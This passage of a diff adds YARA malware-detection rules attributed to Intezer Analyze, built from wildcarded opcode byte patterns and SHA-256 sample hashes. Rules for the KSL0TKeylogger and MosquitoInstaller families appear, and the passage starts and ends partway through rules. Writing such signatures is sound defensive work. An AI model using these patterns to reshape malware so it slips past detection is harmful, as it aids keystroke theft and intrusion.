+		$block_17 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_18 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_19 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? 8B ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? 8B ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? ?? C1 ?? ?? 03 ?? 3B ?? 0F 8C }
+		$block_26 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? 33 ?? 5? C1 ?? ?? 5? 0B ?? 5? 5? C3 }
+		$block_28 = { 8B ?? ?? ?? 33 ?? 66 ?? ?? ?? 5? 0F 95 ?? 5? 5? 5? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? C3 }
+		$block_29 = { 8B ?? ?? 0F B7 ?? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 74 }
+		$block_30 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? 03 ?? 03 ?? C1 ?? ?? 0B ?? 0F BE ?? ?? ?? ?? ?? EB }
+		$block_31 = { 8D ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 33 ?? 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? 33 ?? EB }
+		$block_33 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? C3 }
+		$block_34 = { 40 ?? 5? 41 ?? 48 ?? ?? ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_36 = { 0F B7 ?? 8B ?? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_37 = { 0F BE ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8D }
+		$block_38 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_39 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 99 F7 ?? 4? 03 ?? 81 F? ?? ?? ?? ?? 7C }
+		$block_40 = { C6 ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_41 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_43 = { 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_44 = { E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_45 = { 85 ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_46 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_47 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 33 ?? 8D ?? ?? ?? 0F AF ?? 85 ?? 76 }
+		$block_48 = { 8D ?? ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_49 = { 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_50 = { 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? 5? C3 }
+		$block_52 = { 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_53 = { DF ?? ?? ?? DF ?? ?? ?? D8 ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 85 }
+		$block_54 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 48 ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 88 ?? ?? ?? FF C? 89 ?? ?? ?? EB }
+		$block_57 = { BA ?? ?? ?? ?? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_58 = { 8A ?? ?? 0F BE ?? 34 ?? 03 ?? 88 ?? ?? 0F BE ?? 03 ?? 4? 3B ?? 72 }
+		$block_59 = { 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 3B ?? 0F 84 }
+		$block_60 = { 8D ?? ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_62 = { 68 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_63 = { 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_64 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_65 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_66 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_70 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? 3B ?? 0F 85 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_72 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_74 = { A1 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_75 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_76 = { C1 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 86 }
+		$block_77 = { 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_78 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? 5? 5? 85 ?? 0F 84 }
+		$block_79 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_80 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_82 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_83 = { 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 83 ?? ?? C9 C3 }
+		$block_84 = { 2B ?? D1 ?? 8D ?? ?? 89 ?? ?? 0F B7 ?? ?? 89 ?? ?? E9 }
+		$block_85 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_87 = { 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 39 ?? ?? ?? 0F 85 }
+		$block_88 = { 8B ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_89 = { 0F B7 ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 73 }
+		$block_90 = { 0F B6 ?? 83 ?? ?? C1 ?? ?? 4? 0F AF ?? 4? 85 ?? 75 }
+		$block_91 = { 83 ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_92 = { 8D ?? ?? ?? ?? ?? ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_93 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_96 = { 4? 0F B7 ?? 0F B7 ?? C1 ?? ?? 33 ?? 85 ?? 0F 8E }
+		$block_97 = { 8B ?? ?? ?? ?? ?? ?? 0F BF ?? 66 ?? ?? ?? ?? 77 }
+		$block_98 = { 8B ?? 8B ?? 8B ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 74 }
+		$block_99 = { 8B ?? ?? ?? D1 ?? 8D ?? ?? ?? 8B ?? 3B ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "fa249ee039e0b2d41d27b8f3590a87c1abc65487fe55dea791f804ae5636d884" or
+		hash.sha256(0, filesize) == "d585936aac6120718be1582a393c35157422a2e83ba9f60d6ac1e68a39fb2dc9" or
+		hash.sha256(0, filesize) == "9d3c846d37eff281e30954ed0b7b52030574367b793330ff7e2eeced52ea68b4" or
+		hash.sha256(0, filesize) == "14f04ff36d4c571d2cc7e2fc0b31f9666d687c61d05d8646cf5e56b4240f5592" or
+		hash.sha256(0, filesize) == "60fd95d9b415ecd8d3e799f22b54e5fbd0117d22cf3fce172a65d05167715df8" or
+		hash.sha256(0, filesize) == "e092a2ec64a264779ca8211483693789f4a1f14e42c2f65df15833583f964b81" or
+		hash.sha256(0, filesize) == "a1d26fc17409a30ca48337306317863e8c4064e36c060158885322bb71dc9069" or
+		hash.sha256(0, filesize) == "d932551bb748cafb13a5825233e24c2b1ba0b17098dddfe569943e431c45efe4" or
+		hash.sha256(0, filesize) == "32395c102c5dbc7b881869c8d6c2bf949c02774acb4a785d41cb46ff878572e4" or
+		hash.sha256(0, filesize) == "3a4a0c6585d160e42d40f3ba343af5d45469597d452ea311465029e115e470ae" or
+		hash.sha256(0, filesize) == "9c9d5540cd2902e941f34887ea546d214120d92ab0bbc1e38bbcc8805a5589d8" or
+		hash.sha256(0, filesize) == "bb4ea71368dd7fed4f19cb64a51c9a21cf2e7e19111a2fccf161837a7ec97751" or
+		hash.sha256(0, filesize) == "0977898deb6e5ebd16b1db80ff904a4818fe7ba8039b7f23f0fe329ade03d65b" or
+		hash.sha256(0, filesize) == "4bc2a21aba604dc22af1322a661d8929587f558ab3ffe3d6cb946cadfe7f6570" or
+		hash.sha256(0, filesize) == "bca6e6aa3bc8092e4b85f22a223fd67e80c1bd80afc9aa3fd9192338c8d9b982" or
+		hash.sha256(0, filesize) == "a89f27758bb6e207477f92527b2174090012e2ac23dfc44cdf6effd539c15ada" or
+		hash.sha256(0, filesize) == "5a7f334d6580e95a692943a5c9d73e8ae2342927604ddc5839849c4f77804e39" or
+		hash.sha256(0, filesize) == "0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286" or
+		hash.sha256(0, filesize) == "90876ed03885118da45bad0c5acccc8c5ce6940d6e239fe0ad254a996e9b1e97" or
+		hash.sha256(0, filesize) == "bd865c5d092832d6b55484ec430440540d1bbb77c533fad21f10330b526aaca9" or
+		hash.sha256(0, filesize) == "d002e2eaee5a47af4f779e5210fd35cc1cb339efd6e9cebb57b233a7e9e62005" or
+		hash.sha256(0, filesize) == "9751b5c3645f33677e31aafd4ff04a8e61d529a30d2f324a4ea73a519599f5e2" or
+		hash.sha256(0, filesize) == "a36a04fa6a23a6d6cc1be52e5f05c7f5802c5007bc9900e5c17f6d2c3e03afb8" or
+		hash.sha256(0, filesize) == "67a283a8ddd2ca7976e46010505a1c3ca699405bb9a77f7129c1ac8219995e5f" or
+		hash.sha256(0, filesize) == "a1b2016cb9f9d9a57e1ce3465bdfa5b4e01674c85499a10c1545ab9e90fd32d4" or
+		hash.sha256(0, filesize) == "b51aa5c5e8e783ef7a55f29205a989223f0ef8bfee47ab9274acf37e39f2834f" or
+		hash.sha256(0, filesize) == "87d4edd9d833a41b776bbbbb2ecde0513ae0aa3d228caf3c85d2298c9977e89f" or
+		hash.sha256(0, filesize) == "02e218f14ca02878ed75183e42d79948a6d8c99495a09d9b1897f6bb70b84087" or
+		hash.sha256(0, filesize) == "514b4db0717fb282f8071d55a75b387c053b6d183e2180f5f4e47c34b16d545d" or
+		hash.sha256(0, filesize) == "5e0165b3af7f5d4ef0c6fcb62e53e4e408ffb290967a65f042442c7d638ceef7" or
+		hash.sha256(0, filesize) == "172072b2f5b2888fd3c9d3f28b1acb5f5bd57dc24ad8d2d1b62321b156b4cfdb" or
+		hash.sha256(0, filesize) == "39a8cf3f2916daea03f8b8600e202725101b338a67fc4a7d1b9c48ff5239293f" or
+		hash.sha256(0, filesize) == "08d69145a78f99ab04154aa5e80e9bd28835dade0b95017d5033a0fa6391b1e1" or
+		hash.sha256(0, filesize) == "1fad246cb0a0a0cda8d77e8dd417a380d133229ffba6d38ed32edcc3718a39da" or
+		hash.sha256(0, filesize) == "193844bd22c37e2725927fa0bcddc199932f1dc3536b97da250b77ef68c66d63" or
+		hash.sha256(0, filesize) == "208f0339fb6cd0c2a10bda7e42deb9938ab279f56db28a017d27269dfc0802a8" or
+		hash.sha256(0, filesize) == "cfebcc3aa8217abaedcc856d7ec32d1d66398807819afd9902420f24959e27c6" or
+		hash.sha256(0, filesize) == "bc90772a93b7a54645b3e3df205f59a98166df5245cbf86c4e3d417b15aa6bd3" or
+		hash.sha256(0, filesize) == "7923ead3971a6e8dd4df5c87f22fd3edcb78c48714fa19d01e900eeb10ae13fd" or
+		hash.sha256(0, filesize) == "dd140d9bac962cdb91b00cb123f69e6b1fb55b94fb93591802fd45222357de86" or
+		hash.sha256(0, filesize) == "dc68688aa61102f18b958346bcab167b22e307ecdf2bb05e05d5f19e8fc41f5b" or
+		hash.sha256(0, filesize) == "a7f9e42680cf6f46af48987384ea13aff9dd5df5835a9c214ee9697a63c3d8c9" or
+		hash.sha256(0, filesize) == "22350671a2b605351839a3e22437de71d58efbfce24a1b562bedc7e6f3c0154c" or
+		hash.sha256(0, filesize) == "e42b9c5df92299e17581c52972516b24d2ccc872d780f6d9ecc3af2b0683631d" or
+		hash.sha256(0, filesize) == "06b0bfbd69a2e2ee50d7066fe0a5261c85c32494557b6df1383038583902a1db" or
+		hash.sha256(0, filesize) == "2a625986f5761b59ee4967ea5255e895a6cdd64763696bc7d378c609228d70b6" or
+		hash.sha256(0, filesize) == "22b9f9bbddec318700f46ba778bb61f2bb07bd3560af98501b030ff7160db062" or
+		hash.sha256(0, filesize) == "a777049f779a7c42842568a681030305209b57cc93dc9604a48682df5e9429b6" or
+		hash.sha256(0, filesize) == "43871bb12c446a589eedcd8faae94d60734f595f04e52fc754b89d407249af21" or
+		hash.sha256(0, filesize) == "80013a27dc3a51dffe6427745a09403d9680561bfc28548401fefb35e99c211d" or
+		hash.sha256(0, filesize) == "37e8ae6d5fb27b003441d73a2dc995b5672d47a82ddb3d8751a31697f3d3fc9b" or
+		hash.sha256(0, filesize) == "7759a16584847737c650b7051514c1aa58c957cbfaaa4bc609b288a87d55f2ce" or
+		hash.sha256(0, filesize) == "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426" or
+		hash.sha256(0, filesize) == "5d2a8d367ea383a8cc3d4389a1858bb645cef2a2217c65f7fcf9d3eecb0e8255" or
+		hash.sha256(0, filesize) == "de8954dc69d3f3b5d1423479ef5f1054a9b0df9085b1926ca939a4d3d11c49ee" or
+		hash.sha256(0, filesize) == "50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f" or
+		hash.sha256(0, filesize) == "0cf936dd2adcd6bf575b85e51961d72bbbf8b3d3f2db9e8e378ded5ec60c2f55" or
+		hash.sha256(0, filesize) == "e5c187392b8376352880470a5068eeeb1a00926a9f06a5100a5d8426509291c6" or
+		hash.sha256(0, filesize) == "035e51a1575ecb21353166287530840b3c2c54c237acda4223f1c45e6b47d3b2" or
+		hash.sha256(0, filesize) == "be44044d4bfeb43a6ba5608fe911be7d83bee4faf2b13a16d9690c8ac5f62aa3" or
+		hash.sha256(0, filesize) == "300cb016ef9666bcc3672c2ee14a8516566a8c4982bdcac78501a9ad79e4e094" or
+		hash.sha256(0, filesize) == "5ec8a86a0ab982d016153bd318602cfa2ee39c1f0a962c86168a5284afce169d" or
+		12 of them
+}
+
+rule KSL0TKeylogger {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 3B ?? 75 }
+		$block_1 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_3 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_5 = { 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BD ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 2B ?? 83 ?? ?? 2B ?? 89 ?? ?? ?? C7 }
+		$block_6 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? 8B ?? 5? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? }
+		$block_7 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? 03 ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? B8 ?? ?? ?? ?? 2B ?? 0F B6 ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 75 }
+		$block_8 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? 03 ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 75 }
+		$block_9 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 83 ?? ?? 5? 5? 5? A1 ?? ?? ?? ?? 31 ?? ?? 33 ?? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "4f724e8ecf781fe1c160581d7b35d1eb951f7abf079e7ec8aa79783ec44e9d1a" or
+		hash.sha256(0, filesize) == "740b27fc5552e5ac3c3655e9c598ed5711cfce442cc64e39af7dca8c468aad09" or
+		hash.sha256(0, filesize) == "800fa6a256a1c026a905ccd650d818929e749bbae1129d309f40c7227449450c" or
+		hash.sha256(0, filesize) == "3b7060063814ff7dbdda98b30d35282a5686e0b965e79ee89b1d9d279b5c125a" or
+		hash.sha256(0, filesize) == "13dcbab502b7a291c4e56396ea369729c57268c099c59fc76a1eb6eb9ed3f0b4" or
+		10 of them
+}
+
+rule MosquitoInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
